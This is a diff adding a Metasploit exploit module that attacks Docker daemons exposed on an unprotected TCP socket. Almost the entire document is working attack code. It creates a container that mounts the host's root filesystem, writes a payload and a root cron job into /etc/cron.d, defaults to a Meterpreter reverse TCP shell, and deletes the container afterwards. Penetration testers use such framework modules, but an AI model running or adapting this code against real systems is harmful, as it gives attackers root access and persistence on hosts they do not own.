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| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + include Msf::Exploit::Remote::HttpClient |
| 10 | + include Msf::Exploit::FileDropper |
| 11 | + |
| 12 | + def initialize(info = {}) |
| 13 | + super(update_info(info, |
| 14 | + 'Name' => 'Docker Daemon - Unprotected TCP Socket Exploit', |
| 15 | + 'Description' => %q{ |
| 16 | + Utilizing Docker via unprotected tcp socket (2375/tcp, maybe 2376/tcp |
| 17 | + with tls but without tls-auth), an attacker can create a Docker |
| 18 | + container with the '/' path mounted with read/write permissions on the |
| 19 | + host server that is running the Docker container. As the Docker |
| 20 | + container executes command as uid 0 it is honored by the host operating |
| 21 | + system allowing the attacker to edit/create files owned by root. This |
| 22 | + exploit abuses this to creates a cron job in the '/etc/cron.d/' path of |
| 23 | + the host server. |
| 24 | +
|
| 25 | + The Docker image should exist on the target system or be a valid image |
| 26 | + from hub.docker.com. |
| 27 | + }, |
| 28 | + 'Author' => 'Martin Pizala', # started with dcos_marathon module from Erik Daguerre |
| 29 | + 'License' => MSF_LICENSE, |
| 30 | + 'References' => [ |
| 31 | + ['URL', 'https://docs.docker.com/engine/reference/commandline/dockerd/#bind-docker-to-another-hostport-or-a-unix-socket'] |
| 32 | + ], |
| 33 | + 'DisclosureDate' => 'Jul 25, 2017', |
| 34 | + 'Targets' => [ |
| 35 | + [ 'Python', { |
| 36 | + 'Platform' => 'python', |
| 37 | + 'Arch' => ARCH_PYTHON, |
| 38 | + 'Payload' => { |
| 39 | + 'Compat' => { |
| 40 | + 'ConnectionType' => 'reverse noconn none tunnel' |
| 41 | + } |
| 42 | + } |
| 43 | + }] |
| 44 | + ], |
| 45 | + 'DefaultOptions' => { 'WfsDelay' => 180, 'Payload' => 'python/meterpreter/reverse_tcp' }, |
| 46 | + 'DefaultTarget' => 0)) |
| 47 | + |
| 48 | + register_options( |
| 49 | + [ |
| 50 | + Opt::RPORT(2375), |
| 51 | + OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'python:3-slim' ]), |
| 52 | + OptString.new('CONTAINER_ID', [ false, 'container id you would like']) |
| 53 | + ] |
| 54 | + ) |
| 55 | + end |
| 56 | + |
| 57 | + def check_image(image_id) |
| 58 | + vprint_status("Check if images exist on the target host") |
| 59 | + res = send_request_raw( |
| 60 | + 'method' => 'GET', |
| 61 | + 'uri' => normalize_uri('images', 'json') |
| 62 | + ) |
| 63 | + return unless res.code == 200 and res.body.include? image_id |
| 64 | + |
| 65 | + res |
| 66 | + end |
| 67 | + |
| 68 | + def pull_image(image_id) |
| 69 | + print_status("Trying to pulling image from docker registry, this may take a while") |
| 70 | + res = send_request_raw( |
| 71 | + 'method' => 'POST', |
| 72 | + 'uri' => normalize_uri('images', 'create?fromImage=' + image_id) |
| 73 | + ) |
| 74 | + return unless res.code == 200 |
| 75 | + |
| 76 | + res |
| 77 | + end |
| 78 | + |
| 79 | + def make_container_id |
| 80 | + return datastore['CONTAINER_ID'] unless datastore['CONTAINER_ID'].nil? |
| 81 | + |
| 82 | + rand_text_alpha_lower(8) |
| 83 | + end |
| 84 | + |
| 85 | + def make_cmd(mnt_path, cron_path, payload_path) |
| 86 | + vprint_status('Creating the docker container command') |
| 87 | + echo_cron_path = mnt_path + cron_path |
| 88 | + echo_payload_path = mnt_path + payload_path |
| 89 | + |
| 90 | + cron_command = "python #{payload_path}" |
| 91 | + payload_data = payload.raw |
| 92 | + |
| 93 | + command = "echo \"#{payload_data}\" >> #{echo_payload_path} && " |
| 94 | + command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} && " |
| 95 | + command << "echo \"\" >> #{echo_cron_path} && " |
| 96 | + command << "echo \"* * * * * root #{cron_command}\" >> #{echo_cron_path}" |
| 97 | + |
| 98 | + command |
| 99 | + end |
| 100 | + |
| 101 | + def make_container(mnt_path, cron_path, payload_path) |
| 102 | + vprint_status('Setting container json request variables') |
| 103 | + { |
| 104 | + 'Image' => datastore['DOCKERIMAGE'], |
| 105 | + 'Cmd' => make_cmd(mnt_path, cron_path, payload_path), |
| 106 | + 'Entrypoint' => %w[/bin/sh -c], |
| 107 | + 'HostConfig' => { |
| 108 | + 'Binds' => [ |
| 109 | + '/:' + mnt_path |
| 110 | + ] |
| 111 | + } |
| 112 | + } |
| 113 | + end |
| 114 | + |
| 115 | + def del_container(container_id) |
| 116 | + send_request_raw( |
| 117 | + { |
| 118 | + 'method' => 'DELETE', |
| 119 | + 'uri' => normalize_uri('containers', container_id) |
| 120 | + }, |
| 121 | + 1 # timeout |
| 122 | + ) |
| 123 | + end |
| 124 | + |
| 125 | + def check |
| 126 | + res = send_request_raw( |
| 127 | + 'method' => 'GET', |
| 128 | + 'uri' => normalize_uri('containers', 'json'), |
| 129 | + 'headers' => { 'Accept' => 'application/json' } |
| 130 | + ) |
| 131 | + return Exploit::CheckCode::Vulnerable if res.code == 200 and res.headers['Server'].include? 'Docker' |
| 132 | + |
| 133 | + Exploit::CheckCode::Safe |
| 134 | + end |
| 135 | + |
| 136 | + def exploit |
| 137 | + # check if target is vulnerable |
| 138 | + fail_with(Failure::Unknown, 'Failed to connect to the targeturi') if check.nil? |
| 139 | + |
| 140 | + # check if image is not available, pull it or fail out |
| 141 | + image_id = datastore['DOCKERIMAGE'] |
| 142 | + if check_image(image_id).nil? |
| 143 | + fail_with(Failure::Unknown, 'Failed to pull the docker image') if pull_image(image_id).nil? |
| 144 | + end |
| 145 | + |
| 146 | + # create required information to create json container information. |
| 147 | + cron_path = '/etc/cron.d/' + rand_text_alpha(8) |
| 148 | + payload_path = '/tmp/' + rand_text_alpha(8) |
| 149 | + mnt_path = '/mnt/' + rand_text_alpha(8) |
| 150 | + container_id = make_container_id |
| 151 | + |
| 152 | + # create container |
| 153 | + res_create = send_request_raw( |
| 154 | + 'method' => 'POST', |
| 155 | + 'uri' => normalize_uri('containers', 'create?name=' + container_id), |
| 156 | + 'headers' => { 'Content-Type' => 'application/json' }, |
| 157 | + 'data' => make_container(mnt_path, cron_path, payload_path).to_json |
| 158 | + ) |
| 159 | + fail_with(Failure::Unknown, 'Failed to create the docker container') unless res_create && res_create.code == 201 |
| 160 | + |
| 161 | + print_status("The docker container is created, waiting for deploy") |
| 162 | + register_files_for_cleanup(cron_path, payload_path) |
| 163 | + |
| 164 | + # start container |
| 165 | + send_request_raw( |
| 166 | + { |
| 167 | + 'method' => 'POST', |
| 168 | + 'uri' => normalize_uri('containers', container_id, 'start') |
| 169 | + }, |
| 170 | + 1 # timeout |
| 171 | + ) |
| 172 | + |
| 173 | + # wait until container stopped |
| 174 | + vprint_status("Waiting until the docker container stopped") |
| 175 | + res_wait = send_request_raw( |
| 176 | + 'method' => 'POST', |
| 177 | + 'uri' => normalize_uri('containers', container_id, 'wait'), |
| 178 | + 'headers' => { 'Accept' => 'application/json' } |
| 179 | + ) |
| 180 | + |
| 181 | + # delete container |
| 182 | + deleted_container = false |
| 183 | + if res_wait.code == 200 |
| 184 | + vprint_status("The docker container has been stopped, now trying to remove it") |
| 185 | + del_container(container_id) |
| 186 | + deleted_container = true |
| 187 | + end |
| 188 | + |
| 189 | + # if container does not deploy, remove it and fail out |
| 190 | + unless deleted_container |
| 191 | + del_container(container_id) |
| 192 | + fail_with(Failure::Unknown, "The docker container failed to deploy") |
| 193 | + end |
| 194 | + print_status('Waiting for the cron job to run, can take up to 60 seconds') |
| 195 | + end |
| 196 | +end |
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